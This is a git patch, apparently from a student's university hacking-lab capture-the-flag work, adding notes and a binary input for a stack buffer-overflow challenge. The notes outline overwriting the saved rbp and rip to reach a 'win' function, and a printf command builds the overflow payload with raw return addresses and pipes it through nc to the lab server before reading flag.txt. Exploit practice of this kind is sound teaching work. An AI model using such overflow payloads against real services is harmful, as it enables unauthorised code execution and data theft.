From 9eb847631914a18a5584c693f064ede3ea109635 Mon Sep 17 00:00:00 2001
From: Eggert Jung <eggert.s.jung@wischhof13.de>
Date: Mon, 5 Jan 2026 05:23:50 +0100
Subject: [PATCH] 2

---
 4/level2/input.txt | Bin 0 -> 110 bytes
 4/level2/test      |   7 +++++++
 2 files changed, 7 insertions(+)
 create mode 100644 4/level2/input.txt
 create mode 100644 4/level2/test

diff --git a/4/level2/input.txt b/4/level2/input.txt
new file mode 100644
index 0000000000000000000000000000000000000000..d7363c8d4800efe4ef0ec673d4b54a9142f708ce
GIT binary patch
literal 110
zcmc~uOwP_pOsX!=sEkiG$up0yG$@VFDm68aPceuu$uN%3H7Uu6Pjw2&bT*50s^v-~
i04Ch~|NnnI1H&{y2L=$}N=__MNXtn~*DI+g;Q|1`0Vj9>

literal 0
HcmV?d00001

diff --git a/4/level2/test b/4/level2/test
new file mode 100644
index 0000000..a58b37b
--- /dev/null
+++ b/4/level2/test
@@ -0,0 +1,7 @@
+last key
+32 byte filler
+overwrite rbp with sane address (doesnt need to be specific, just dont segfault bc of memory region)
+overwrite rip with address of win
+
+printf 'hacklab{why_c4n7_y0u_ju57_d0_th3_m4th_eBPiC6YB}\naaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x90\xde\xff\xff\xff\x7f\x00\00\x96\x11\x40\00\00\00\00\00\ncat flag.txt\n' > input.txt
+cat input.txt | nc binexp.stud12.hacklab.ias.tu-bs.de 4002